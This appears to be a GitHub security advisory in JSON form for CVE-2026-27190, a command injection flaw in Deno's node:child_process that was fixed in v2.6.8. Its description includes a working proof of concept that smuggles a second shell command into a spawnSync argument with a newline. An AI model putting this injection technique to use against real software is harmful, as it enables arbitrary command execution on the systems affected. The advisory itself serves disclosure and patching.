{
  "ghsa_id": "GHSA-hmh4-3xvx-q5hr",
  "cve_id": "CVE-2026-27190",
  "url": "https://api.github.com/advisories/GHSA-hmh4-3xvx-q5hr",
  "html_url": "https://github.com/advisories/GHSA-hmh4-3xvx-q5hr",
  "summary": "Deno has a Command Injection via Incomplete shell metacharacter blocklist in node:child_process",
  "description": "## Summary\nA command injection vulnerability exists in Deno's `node:child_process` implementation. \n\n## Reproduction\n```javascript\nimport { spawnSync } from \"node:child_process\";\nimport * as fs from \"node:fs\";\n\n// Cleanup\ntry { fs.unlinkSync('/tmp/rce_proof'); } catch {}\n\n// Create legitimate script\nfs.writeFileSync('/tmp/legitimate.ts', 'console.log(\"normal\");');\n\n// Malicious input with newline injection\nconst maliciousInput = `/tmp/legitimate.ts\\ntouch /tmp/rce_proof`;\n\n// Vulnerable pattern\nspawnSync(Deno.execPath(), ['run', '--allow-all', maliciousInput], {\n  shell: true,\n  encoding: 'utf-8'\n});\n\n// Verify\nconsole.log('Exploit worked:', fs.existsSync('/tmp/rce_proof'));\n```\n\nRun: `deno run --allow-all poc.mjs`\n\nThe file `/tmp/rce_proof` is created, confirming arbitrary command execution.\n\n## Mitigation\n\nAll users need to update to the patched version (Deno v2.6.8).",
  "type": "reviewed",
  "severity": "high",
  "repository_advisory_url": "https://api.github.com/repos/denoland/deno/security-advisories/GHSA-hmh4-3xvx-q5hr",
  "source_code_location": "https://github.com/denoland/deno",
  "identifiers": [
    {
      "value": "GHSA-hmh4-3xvx-q5hr",
      "type": "GHSA"
    },
    {
      "value": "CVE-2026-27190",
      "type": "CVE"
    }
  ],
  "references": [
    "https://github.com/denoland/deno/security/advisories/GHSA-hmh4-3xvx-q5hr",
    "https://github.com/denoland/deno/commit/9132ad958c83a0d0b199de12b69b877f63edab4c",
    "https://github.com/denoland/deno/releases/tag/v2.6.8",
    "https://github.com/advisories/GHSA-hmh4-3xvx-q5hr"
  ],
  "published_at": "2026-02-19T20:31:41Z",
  "updated_at": "2026-02-19T20:31:44Z",
  "github_reviewed_at": "2026-02-19T20:31:41Z",
  "nvd_published_at": null,
  "withdrawn_at": null,
  "vulnerabilities": [
    {
      "package": {
        "ecosystem": "rust",
        "name": "deno"
      },
      "vulnerable_version_range": "< 2.6.8",
      "first_patched_version": "2.6.8",
      "vulnerable_functions": []
    }
  ],
  "cvss_severities": {
    "cvss_v3": {
      "vector_string": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "score": 8.1
    },
    "cvss_v4": {
      "vector_string": null,
      "score": 0.0
    }
  },
  "cwes": [
    {
      "cwe_id": "CWE-78",
      "name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"
    }
  ],
  "credits": [
    {
      "user": {
        "login": "jackhax",
        "id": 41838363,
        "node_id": "MDQ6VXNlcjQxODM4MzYz",
        "avatar_url": "https://avatars.githubusercontent.com/u/41838363?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/jackhax",
        "html_url": "https://github.com/jackhax",
        "followers_url": "https://api.github.com/users/jackhax/followers",
        "following_url": "https://api.github.com/users/jackhax/following{/other_user}",
        "gists_url": "https://api.github.com/users/jackhax/gists{/gist_id}",
        "starred_url": "https://api.github.com/users/jackhax/starred{/owner}{/repo}",
        "subscriptions_url": "https://api.github.com/users/jackhax/subscriptions",
        "organizations_url": "https://api.github.com/users/jackhax/orgs",
        "repos_url": "https://api.github.com/users/jackhax/repos",
        "events_url": "https://api.github.com/users/jackhax/events{/privacy}",
        "received_events_url": "https://api.github.com/users/jackhax/received_events",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "type": "reporter"
    }
  ],
  "cvss": {
    "vector_string": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
    "score": 8.1
  }
}
